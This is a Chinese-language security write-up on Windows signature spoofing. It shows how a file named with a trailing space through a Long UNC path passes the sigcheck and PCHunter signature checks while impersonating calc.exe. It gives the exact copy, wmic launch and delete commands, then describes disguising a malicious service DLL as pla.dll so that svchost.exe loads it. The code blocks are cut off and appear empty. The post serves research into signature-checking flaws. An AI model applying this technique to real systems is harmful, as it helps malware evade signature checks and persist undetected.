利用文件名欺骗伪造Catalog签名
概述
Windows默认要求,文件名中不能以空格开头或结尾,如果有空格,系统会自动移除。但是如果使用UNC文件名,空格会被保留。部分校验工具,没有处理好这种特殊文件名,导致校验文件时,拼接了错误的文件路径,达到欺骗校验的效果。
测试伪造效果
生成伪造文件
将一个用于计算Hash的exe文件,伪装为系统的计算器calc.exe:
1 | type Hash.exe > "\\?\C:\Windows\System32\calc.exe " |
查看文件属性-常规,两者显示基本一致,但在兼容性、文件图标、文件类型会漏出马脚:
使用伪造文件
Long UNC文件的文件名一般无法直接使用,需要转为短文件名,命令如下:
1 | C:\WINDOWS\system32>dir /x calc* |
使用sigcheck64.exe校验伪造的calc.exe文件,无论使用Long UNC文件名还是短文件名,均能通过校验:
1 | C:\1\Sigcheck>sigcheck64.exe "\\?\C:\Windows\System32\calc.exe " |
sigcheck64.exe添加-i
参数,用于显示完整的证书链,对比原始的计算器calc.exe证书信息,仍然完全一致:
运行伪造文件并验证
使用wmic
结合短文件名可正常启动伪造文件:
1 | C:\1>wmic process call create C:\Windows\System32\CALC~1.exe |
如果wmic
使用Long UNC文件名,会启动正常的系统计算器:
直接使用Long UNC文件名无效:
1 | C:\1>"\\?\C:\Windows\System32\calc.exe " |
直接使用短文件名,会弹出正常计算器:
1 | C:\1>C:\Windows\System32\CALC~1.EXE |
使用ProcessExplorer验证运行的伪造文件,进程描述、厂商名称等无法欺骗,但是文件仍然通过了验证:
PCHunter与之类似,显示出了伪造文件的原始信息,但仍然通过了数字签名验证:
删除伪造文件
1 | C:\WINDOWS\system32>del c:\Windows\System32\CALC~1.exe |
部分无法伪造和欺骗的功能
文件属性-详细信息,可以正常识别伪造文件和正常文件的信息:
PCHunter-模块窗口,校验模块数字签名,无法通过数字签名验证:
扩展用法
将该方法与伪造系统服务Dll结合使用,由正常的系统进程svchost.exe加载自己的服务Dll,达到更隐蔽的伪装效果。
编写一个伪装为系统服务的Dll文件svchost.dll,以及服务加载器LoadSvchostDll.exe,代码如下:
svchost.dll代码:
1 | // dllmain.cpp : 定义 DLL 应用程序的入口点。 |
LoadSvchostDll.exe代码:
1 |
|
将恶意svchost.dll伪装为系统的pla.dll:
1 | type svchost.dll > "\\?\C:\Windows\System32\pla.dll " |
运行LoadSvchostDll.exe注册并加载服务,可以看到服务已运行:
使用ProcessExplorer查看,伪装很成功:
使用PCHunter查看,服务签名验证可以通过,模块文件签名验证仍然不行:
原理浅析
以sigcheck64.exe为例,调用CraeteFile
和WinVerifyTrust
可以准确区分系统文件和伪装文件的路径;在使用FindFirstFileW
函数获取路径后,文件名会保存在WIN32_FIND_DATAW
结构体的cFileName
成员中,但是对于Long UNC的文件名,此时WIN32_FIND_DATAW.cFileName
保存的是带空格的文件名"calc.exe "
,又因为系统会忽略末尾的空格,导致后续校验文件时,使用的是原始的计算器路径C:\Windows\System32\calc.exe
;如果手工修改WIN32_FIND_DATAW.cFileName
为calc~1.exe
(或者使用能够保存短文件名的cAlternateFileName
替代cFileName
),就可以对伪造calc.exe的路径做校验,此时校验失败:
1 | Sigcheck v2.90 - File version and signature viewer |
其实对比之前欺骗成功的路径,可以发现sigcheck64显示的文件路径并不是我们传递的路径:
微软关于文件名的规定:
摘要
将保存以 ASCII 空格 (0x20) 开头或结尾的文件和文件夹名称,而不使用这些字符。 以 ASCII 周期 (0x2E) 字符结尾的文件和文件夹名称也将在没有此字符的情况下保存。 将保留所有其他尾随或前导空格字符。
对象管理器
创建时,对象管理器会删除文件或文件夹名称开头或结尾的 ASCII 空格 (0x20) 字符。
创建时,对象管理器会删除文件或文件夹名称末尾的 ASCII 周期 (0x2E) 字符。
对象管理器会保留所有其他前导或尾随空格字符。
附录
参考链接: